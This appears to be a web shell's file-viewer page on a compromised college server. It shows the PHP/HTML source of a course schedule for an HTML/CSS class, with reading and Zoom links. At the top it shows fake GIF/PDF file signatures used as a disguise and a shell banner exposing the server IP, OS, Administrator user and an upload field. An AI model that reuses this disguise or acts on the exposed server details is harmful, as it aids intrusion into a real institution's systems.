GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1021/Schedule/ |
Upload File : |
<? // /JimMartinson/CST1021/Schedule/CST1021_Schedule.phpinc #if ( $_SESSION['userId'] == 1 ) include('JimMartinson/ScheduleCode.phpinc'); $week = 0; ?> <fieldset><legend><?=$title?></legend> <? require('JimMartinson/WebMeetingLink.phpinc'); ?> <ol start="1"> <!-- Week 1: Thursday 1/13 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/86MQ9va4xvMAFHDMYeLT-1pXUhcG3lSAL2K7DYrni056uQqYdhiA3bJbXwDgySyk.ZJ1Lbx53SyAI0eRr?startTime=1642100406000','text'),array('URL','text'),array('URL','text'))); ?> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <? $discuss_Other = 'Discuss <a href="https://www.hostinger.com/tutorials/best-html-editors">HTML Editors</a>'; ?> <? require('JimMartinson/Schedule_week1.phpinc'); ?> </li> <li> <? require('JimMartinson/Schedule_week1_Assignments_Begin.phpinc'); ?> <? /** / Insert other week 1 assignments in <li></li> tags below. /**/ ?> <li>Download and install the editor of your choice. I will be using <a href="https://code.visualstudio.com/">Visual Studio Code</a>.</li> <li>Read <a href="https://www.w3schools.com/html/default.asp">HTML Tutorial</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_intro.asp">HTML Introduction</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_basic.asp">HTML Basic Examples</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_elements.asp">HTML Elements</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_attributes.asp">HTML Attributes</a>.</li> <li>Read <a href="https://html5test.com/index.html">HTML<strong class="five">5</strong>test how well does your browser support HTML5?</a>.</li> <? require('JimMartinson/Schedule_week1_Assignments_End.phpinc'); ?> </li> </ul> </li><!-- END Week 1 --> <!-- Week 2: Thursday 1/20 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/ylfo7daO33yIEfRPEBxptxskLNtuhCCR0x5CX5d_vOwfRedKrOOqYrv6FUPtpmG-.asRxzHOsbftvT1wh?startTime=1642705274000','text'),array('URL','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/html/default.asp">HTML Tutorial</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_intro.asp">HTML Introduction</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_basic.asp">HTML Basic Examples</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_elements.asp">HTML Elements</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_attributes.asp">HTML Attributes</a>.</li> <li>Discuss <a href="https://html5test.com/index.html">HTML<strong class="five">5</strong>test how well does your browser support HTML5?</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li>Read <a href="https://www.w3schools.com/html/html5_semantic_elements.asp">HTML5 Semantic Elements</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_headings.asp">HTML Headings</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_paragraphs.asp">HTML Paragraphs</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_styles.asp">HTML Styles</a>.</li> <li>Browse <a href="https://validator.w3.org/" target="_blank">Markup Validation Service</a>.</li> <li>Browse <a href="https://jigsaw.w3.org/css-validator/validator.html.en">CSS Validation Service</a>. </ol> </li> </ul> </li><!-- END Week 2 --> <!-- Week 3: Thursday 1/27 (Willmar) --> <!-- Lecture took 2.5 hr --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/35keRK5nE-5bsBA_v1CfRqehsPN7Qrd5q7gKEtguSuNat_WhFdZ-sOASxNP-kLep.edXrgt8DLfS27Ana?startTime=1643310009000','text'),array('https://minnstate.zoom.us/rec/share/35keRK5nE-5bsBA_v1CfRqehsPN7Qrd5q7gKEtguSuNat_WhFdZ-sOASxNP-kLep.edXrgt8DLfS27Ana?startTime=1643314549000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/html/html5_semantic_elements.asp">HTML5 Semantic Elements</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_headings.asp">HTML Headings</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_paragraphs.asp">HTML Paragraphs</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_styles.asp">HTML Styles</a>.</li> <li>Discuss <a href="https://validator.w3.org/" target="_blank">Markup Validation Service</a>.</li> <li>Discuss <a href="https://jigsaw.w3.org/css-validator/validator.html.en">CSS Validation Service</a>. <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(1)?></li> <li>Read <a href="https://www.w3schools.com/html/html_formatting.asp">HTML Text Formatting</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_quotation_elements.asp">HTML Quotation and Citation Elements</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_comments.asp">HTML Comments</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_colors.asp">HTML Colors</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_css.asp">HTML Styles - CSS</a>.</li> </ol> </li> </ul> </li><!-- END Week 3 --> <!-- Week 4: Thursday 2/03 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/keY1Yp6SeeYuULwggsmV639BporfHrU6zRKy1FhKNEhX_Dt7n74iiduOY9hiWOg8.2POwS0LkrpANlpwN?startTime=1643914865000','text'),array('https://minnstate.zoom.us/rec/share/keY1Yp6SeeYuULwggsmV639BporfHrU6zRKy1FhKNEhX_Dt7n74iiduOY9hiWOg8.2POwS0LkrpANlpwN?startTime=1643920090000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="/HardwareWorkOpportunity.html">Hardware work opportunity (work study/student worker/volunteer)</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_formatting.asp">HTML Text Formatting</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_quotation_elements.asp">HTML Quotation and Citation Elements</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_comments.asp">HTML Comments</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_colors.asp">HTML Colors</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_css.asp">HTML Styles - CSS</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(2)?></li> <li>Read <a href="https://www.w3schools.com/html/html_links.asp">HTML Links</a>.</li> <li>Read the <a href="https://www.w3schools.com/tags/att_accesskey.asp"><span class="highATT">accesskey</span></a> attribute.</li> <li>Read the <a href="https://www.w3schools.com/tags/att_tabindex.asp"><span class="highATT">tabindex</span></a> attribute.</li> <li>Read <a href="https://www.w3schools.com/html/html_images.asp">HTML Images</a>.</li> <li>Read the <a href="https://www.w3schools.com/TAGS/tag_hr.asp"><span class="highELE">hr</span> tag</a>.</li> <li>Read the <a href="https://www.w3schools.com/tags/tag_map.asp"><span class="highELE">map</span></a> tag.</li> <li>Read the <a href="https://www.w3schools.com/tags/att_img_usemap.asp"><span class="highELE">map</span> tag <span class="highATT">usemap</span></a> attribute.</li> <li>Read the <a href="https://www.w3schools.com/tags/tag_area.asp"><span class="highELE">area</span></a> tag.</li> <li>Read css <span class="highATT">vertical-align</span>.</li> </ol> </li> </ul> </li><!-- END Week 4 --> <!-- Week 5: Thursday 2/10 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/sETHEecFvg5gQNs5klhdlxtdFyJiu17MjcP3M0pbL0j9f8LRXpbcfqm6WxKM0xTM.By8VTj9BsjrDWlHC?startTime=1644519661000','text'),array('https://minnstate.zoom.us/rec/share/sETHEecFvg5gQNs5klhdlxtdFyJiu17MjcP3M0pbL0j9f8LRXpbcfqm6WxKM0xTM.By8VTj9BsjrDWlHC?startTime=1644525275000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/html/html_links.asp">HTML Links</a>.</li> <li>Discuss the <a href="https://www.w3schools.com/tags/att_accesskey.asp"><span class="highATT">accesskey</span></a> attribute.</li> <li>Discuss the <a href="https://www.w3schools.com/tags/att_tabindex.asp"><span class="highATT">tabindex</span></a> attribute.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_images.asp">HTML Images</a>.</li> <li>Discuss the <a href="https://www.w3schools.com/TAGS/tag_hr.asp"><span class="highELE">hr</span> tag</a>.</li> <li>Discuss the <a href="https://www.w3schools.com/tags/tag_map.asp"><span class="highELE">map</span></a> tag.</li> <li>Discuss the <a href="https://www.w3schools.com/tags/att_img_usemap.asp"><span class="highELE">map</span> tag <span class="highATT">usemap</span></a> attribute.</li> <li>Discuss the <a href="https://www.w3schools.com/tags/tag_area.asp"><span class="highELE">area</span></a> tag.</li> <li>Discuss css <span class="highATT">vertical-align</span>.</li> <li>Discuss images. Should we use the height and width attributes or use css? Innate image data vs alternate display. Images as buttons, icons, or sprites.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(3)?></li> <li>Browse <a href="https://www.w3schools.com/css/">CSS Tutorial</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_intro.asp">CSS Introduction</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_syntax.asp">CSS Syntax and Selectors</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_howto.asp">CSS How To...</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_colors.asp">CSS Colors</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_background.asp">CSS Backgrounds</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_float.asp">CSS Layout - float and clear</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_float_clear.asp">CSS Layout - clear and clearfix</a>.</li> </ol> </li> </ul> </li><!-- END Week 5 --> <!-- Week 6: Thursday 2/17 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>. <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/MvqNE7u8lFzyBTlTHCfPN8stt8TYaBSDnliHXG0S9HY0g-dejywmAjNkLfa3VX32.hiBysdLQHwD93rKW?startTime=1645124425000','text'),array('URL','text'),array('URL','text'))); ?> <!--<? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>.--> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <q>Browsers are forgiving!</q> and upper/lower case.</li> <li>Discuss <a href="https://www.w3schools.com/css/">CSS Tutorial</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_intro.asp">CSS Introduction</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_syntax.asp">CSS Syntax and Selectors</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_howto.asp">CSS How To...</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_colors.asp">CSS Colors</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_background.asp">CSS Backgrounds</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_float.asp">CSS Layout - float and clear</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_float_clear.asp">CSS Layout - clear and clearfix</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(4)?></li> <li>Read <a href="https://www.w3schools.com/css/css_border.asp">CSS Borders</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_margin.asp">CSS Margins</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_padding.asp">CSS Padding</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_dimension.asp">CSS Height and Width</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_boxmodel.asp">CSS Box Model</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_outline.asp">CSS Outline</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_link.asp">CSS Links</a>.</li> </ol> </li> </ul> </li><!-- END Week 6 --> <!-- Week 7: Thursday 2/24 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/uXFyhDxrVhgWfVPuJekvIl9oW_2tVQeCE78ozuJOu99377KsbSgrn_MVGMWrIEW6.-tlI0H_CwyTs9WX5?startTime=1645729358000','text'),array('https://minnstate.zoom.us/rec/share/QI0hzwzY9L250gNNyyDsYeS-qziZFJuOhiGdO3mrS_Tt0nHoghK04BNs2hNFv4K-.FFJnhW9vqz5TUOzm?startTime=1645736176000','text'),array('URL','text'))); ?> <!-- <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>.--> <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/css/css_border.asp">CSS Borders</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_margin.asp">CSS Margins</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_padding.asp">CSS Padding</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_dimension.asp">CSS Height and Width</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_boxmodel.asp">CSS Box Model</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_outline.asp">CSS Outline</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_link.asp">CSS Links</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(5)?></li> <li>Read <a href="https://www.w3schools.com/css/css_text.asp">CSS Text</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_units.asp">CSS Units</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_combinators.asp">CSS Combinators</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_pseudo_classes.asp">CSS Pseudo-classes</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_pseudo_elements.asp">CSS Pseudo-Elements</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_specificity.asp">CSS Specificity</a>.</li> <li>Browse <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS Selector Reference</a>.</li> </ol> </li> </ul> </li><!-- END Week 7 --> <!-- Week 8: Thursday 3/03 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/9EmlJgzGowF0OYgVfqlY-PEQM6h7sal4BTUnTpxNP5xR8kifkXBNeLujuizcTPDE.ri66166AdlwcL9t8?startTime=1646334213000','text'),array('https://minnstate.zoom.us/rec/share/9EmlJgzGowF0OYgVfqlY-PEQM6h7sal4BTUnTpxNP5xR8kifkXBNeLujuizcTPDE.ri66166AdlwcL9t8?startTime=1646339165000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/css/css_text.asp">CSS Text</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_units.asp">CSS Units</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_combinators.asp">CSS Combinators</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_pseudo_classes.asp">CSS Pseudo-classes</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_pseudo_elements.asp">CSS Pseudo-Elements</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_specificity.asp">CSS Specificity</a>.</li> <li>Discuss <a href="https://www.w3schools.com/cssref/css_selectors.asp">CSS Selector Reference</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>: <ol type="i"> <li><?=labLink(6)?></li> <li>Read <a href="https://www.w3schools.com/css/css_font.asp">CSS Fonts</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_icons.asp">CSS Icons</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_image_sprites.asp">CSS Image Sprites</a>.</li> </ol> </li> </ul> </li><!-- END Week 8 --> <!-- Week 9: Thursday 3/10 (Spring Break) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week,0)?><?=classWeekShowHideUL($class['startDate'],$week)?> </li><!-- END Week 9 --> <!-- Week 10: Thursday 3/17 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/NG7-M2a22tJCDI9HxzprGaEdTogI1FvNg-5nT28E6HONYTJNxoWNjPicf0n5s_dn.6CoohPsPssps-z10?startTime=1647540163000','text'),array('https://minnstate.zoom.us/rec/share/NG7-M2a22tJCDI9HxzprGaEdTogI1FvNg-5nT28E6HONYTJNxoWNjPicf0n5s_dn.6CoohPsPssps-z10?startTime=1647545780000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/css/css_font.asp">CSS Fonts</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_icons.asp">CSS Icons</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_image_sprites.asp">CSS Image Sprites</a>.</li> <li>Discuss <?=labLink(13,false)?></li> <li>Discuss <?=labLink(14,false)?></li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(7)?></li> <li>Read <a href="https://www.w3schools.com/cssref/css_pxtoemconversion.asp">PX to EM Conversion</a>.</li> <li>Read <a href="https://www.w3schools.com/cssref/css_default_values.asp">CSS Default Values Reference</a>.</li> <li>Read <a href="https://www.w3schools.com/cssref/css_entities.asp">CSS Entities</a>.</li> <li>Review <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li> <li>Read <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>.</li> </ol> </li> </ul> </li><!-- END Week 10 --> <!-- Week 11: Thursday 3/24 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/vUg9LFCQWVfaxPlW_dNRefYSam0LAPAVeCN3mZB-JNcjXTSQpTQNlfI0JLLg1VXe.Nw_pDn389m2Wdsxq?startTime=1648144812000','text'),array('https://minnstate.zoom.us/rec/share/vUg9LFCQWVfaxPlW_dNRefYSam0LAPAVeCN3mZB-JNcjXTSQpTQNlfI0JLLg1VXe.Nw_pDn389m2Wdsxq?startTime=1648149950000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing">Mastering margin collapsing</a>.</li> <li>Discuss <a href="https://csswizardry.com/2012/06/single-direction-margin-declarations/">Single-direction margin declarations</a>.</li> <li>Discuss <a href="https://www.w3schools.com/cssref/css_pxtoemconversion.asp">PX to EM Conversion</a>.</li> <li>Discuss <a href="https://www.w3schools.com/cssref/css_default_values.asp">CSS Default Values Reference</a>.</li> <li>Discuss <a href="https://www.w3schools.com/cssref/css_entities.asp">CSS Entities</a>.</li> <li>Review <a href="https://www.w3schools.com/css/css_attribute_selectors.asp">CSS Attribute Selectors</a>.</li> <li>Discuss <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Selectors">CSS selectors</a>.</li> <li>Discuss <?=labLink(13,false)?></li> <li>Discuss <?=labLink(14,false)?></li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(8)?></li> <li>Read <a href="https://www.w3schools.com/css/css3_fonts.asp">CSS Web Fonts</a>.</li> <li>Read <a href="https://www.w3schools.com/cssref/css3_pr_font-face_rule.asp">CSS @font-face Rule</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css3_shadows.asp">CSS Shadow Effects</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css3_text_effects.asp">CSS Text Effects</a>.</li> <li>Browse <a href="https://fonts.google.com/">Google Fonts</a>.</li> <li>Browse <a href="https://www.dafont.com/">dafont.com</a>.</li> <li>Browse <a href="https://www.1001fonts.com/">1001 fonts</a>.</li> </ol> </li> </ul> </li><!-- END Week 11 --> <!-- Week 12: Thursday 3/31 (Hutchinson) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/B_C3uSb8XGuGLBldSqaQ-0EAW-tWuX5k9hHiZyOy5p_NHOD0DdPwnXDUcy2Y_VQh._GfP43dU5_IICETf?startTime=1648749670000','text'),array('URL','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/css/css3_fonts.asp">CSS Web Fonts</a>.</li> <li>Discuss <a href="https://www.w3schools.com/cssref/css3_pr_font-face_rule.asp">CSS @font-face Rule</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css3_shadows.asp">CSS Shadow Effects</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css3_text_effects.asp">CSS Text Effects</a>.</li> <li>Discuss <a href="https://fonts.google.com/">Google Fonts</a>.</li> <li>Discuss <a href="https://www.dafont.com/">dafont.com</a>.</li> <li>Discuss <a href="https://www.1001fonts.com/">1001 fonts</a>.</li> <li>Discuss <a href="https://transfonter.org/">transfonter.org/</a> and <a href="https://www.fontsquirrel.com/tools/webfont-generator">FontSquirrel Webfont Generator</a>.</li> <li>Discuss <?=labLink(13,false)?></li> <li>Discuss <?=labLink(14,false)?></li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(9)?></li> <li>Read <a href="https://www.w3schools.com/html/html_lists.asp">HTML Lists</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_list.asp">CSS Lists</a>.</li> <li>Read <a href="https://www.w3schools.com/html/html_tables.asp">HTML Tables</a>.</li> <li>Read <a href="https://www.w3schools.com/css/css_table.asp">CSS Tables</a>.</li> </ol> </li> </ul> </li><!-- END Week 12 --> <!-- Week 13: Thursday 4/07 (Willmar) --> <li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?> <? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/n1msGFqp1MWbCuJfa4IkGn2PHsGvsyL3xn1zS-lNg7WJGeaXvEx26NA8GvhYbJJF.W3lEfQZdLnoIKv-q?startTime=1649354479000','text'),array('https://minnstate.zoom.us/rec/share/n1msGFqp1MWbCuJfa4IkGn2PHsGvsyL3xn1zS-lNg7WJGeaXvEx26NA8GvhYbJJF.W3lEfQZdLnoIKv-q?startTime=1649358619000','text'),array('URL','text'))); ?> <? $weekTwoDigit = twoDigit($week); ?> <a href="../Resources/Week/<?=$weekTwoDigit?>">See week <?=$week?> files</a>. <ul<?=classWeekShowHideClass($class['startDate'],$week)?>> <li><!-- Thursday 1:00pm-3:30pm --> <?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?> <ol type="i"> <li>Discuss <a href="https://www.w3schools.com/html/html_lists.asp">HTML Lists</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_list.asp">CSS Lists</a>.</li> <li>Discuss <a href="https://www.w3schools.com/html/html_tables.asp">HTML Tables</a>.</li> <li>Discuss <a href="https://www.w3schools.com/css/css_table.asp">CSS Tables</a>.</li> <li>Discuss class tasks.</li> </ol> </li> <li> Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>: <ol type="i"> <li><?=labLink(10)?></li> <li><?=labLink(11)?></li> <li><?=labLink(13)?></li> <li>Read <a href="https://www.w3schools.com/html/html_forms.asp">HTML Forms</a>.</li> <li>Read <a 